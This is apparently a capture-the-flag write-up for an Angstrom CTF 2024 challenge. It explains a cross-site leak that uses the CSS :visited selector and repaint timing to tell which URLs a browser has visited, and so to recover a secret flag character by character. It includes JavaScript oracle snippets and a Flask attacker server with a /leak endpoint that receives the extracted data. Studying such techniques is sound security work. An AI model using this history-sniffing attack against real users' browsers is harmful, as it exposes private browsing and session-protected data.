Wonderful Wicked Wrathful Wiretapping Wholesale World Wide Watermark as a Service
TL;DR
- Use
:visitedCSS selector to detect visited URLs - Apply complex styles to make browser repaint
- Oscillate link’s href between test URL and dummy/unvisited URL
- Measure repaint performance with
requestAnimationFrame - Longer repaint time indicates the URL has been visited
The Challenge
wwwwwwwwaas was an XSLeak challenge in Angstrom CTF 2024, presenting the classical 404/200 vector
app.get('/search', (req, res) => {
if (req.cookies['admin_cookie'] !== secretvalue) {
res.status(403).send("Unauthorized");
return;
}
try {
let query = req.query.q;
for (let flag of flags) {
if (flag.indexOf(query) !== -1) {
res.status(200).send("Found");
return;
}
}
res.status(404).send("Not Found");
} catch (e) {
console.log(e);
res.sendStatus(500);
}
})
In usual scenarios, one could use a simple script leveraging error events to leak whether onerror/onload were triggered and forming the flag based on that
function probeError(url) {
let script = document.createElement('script');
script.src = url;
script.onload = () => console.log('Onload event triggered');
script.onerror = () => console.log('Error event triggered');
document.head.appendChild(script);
}
// because google.com/404 returns HTTP 404, the script triggers error event
probeError('https://google.com/404');
// because google.com returns HTTP 200, the script triggers onload event
probeError('https://google.com/');
However, in this case the authors included the following headers, making it harder to use such a simpler oracle
app.use((req, res, next) => {
res.set('X-Frame-Options', 'deny');
res.set('X-Content-Type-Options', 'nosniff');
res.set('Cache-Control', 'no-store');
next()
})
X-Content-Type-Options will basically raise errors since the endpoint returns text/html as a content-type, so loading tags with that will return:
Refused to execute script from 'http://localhost:21111/test' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.
The Oracle
The intended solution was a bug, reported and actioned in chromium bugs, demonstrating how the leak is possible.
The oracle leverages the :visited CSS selector to determine if a specific URL has been visited. By applying different styles to visited links, the browser reveals the visit status through performance differences.
The process starts by defining a link with complex styles that make the browser work harder to render it
#target {
color: white;
background-color: white;
outline-color: white;
}
#target:visited {
color: #feffff;
background-color: #fffeff;
outline-color: #fffffe;
}
The link’s href is oscillated between the URL we want to leak and a known unvisited URL randomly generated, forcing the browser to repaint the link each time.
function generateUnvisitedUrl () {
return 'https://' + Math.random() + '/' + Date.now();
}
function startOscillatingHref(testUrl) {
oscillateInterval = setInterval(function() {
targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
isPointingToBasisUrl = !isPointingToBasisUrl;
}, 0);
}
function stopOscillatingHref() {
clearInterval(oscillateInterval);
targetLink.href = basisUrl;
isPointingToBasisUrl = true;
}
The performance is measured by counting the number of requestAnimationFrame callbacks, which indicates how often the browser repaints the element.
var tickCount = 0;
var tickRequestId;
function startCountingTicks() {
tickRequestId = requestAnimationFrame(function tick() {
++tickCount;
tickRequestId = requestAnimationFrame(tick);
});
}
function stopCountingTicks() {
cancelAnimationFrame(tickRequestId);
var oldTickCount = tickCount;
tickCount = 0;
return oldTickCount;
}
I’ve forked the challenged because I am lazy so it works without authentication, testing the author’s PoC showed some promising results when testing locally, with a local flag flag{123123}, when testing http://127.0.0.1:21111/search?q=flag
The Solution
This technique was used by TeamItaly in a challenge called leakynote where the automated the solution, a successful one should stably leak the flag char by char.
I was too late to the CTF so unfortunately wasn’t able to solve it on time. Finally, I came up with the following automated solution
import os
from flask import Flask, render_template_string, request
app = Flask(__name__)
URL = "http://127.0.0.1:21111/"
CHARSET = "1234567890" # for local testing
#CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
ex_html = '''
XS-Leak Test
'''
poc_html = '''
Enter a URL to test for visited status:
Test
'''
@app.route('/')
def index():
return render_template_string(ex_html, CHALLENGE_URL=URL,CHARSET=CHARSET)
@app.route('/poc')
def poc():
args = request.args.get('url')
return render_template_string(poc_html, url=args, CHALLENGE_URL=URL,CHARSET=CHARSET)
@app.route('/leak')
def leak():
flag = request.args.get('flag')
if flag[-1] == '}':
print(flag)
return ""
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)
Running this locally leaks the flag.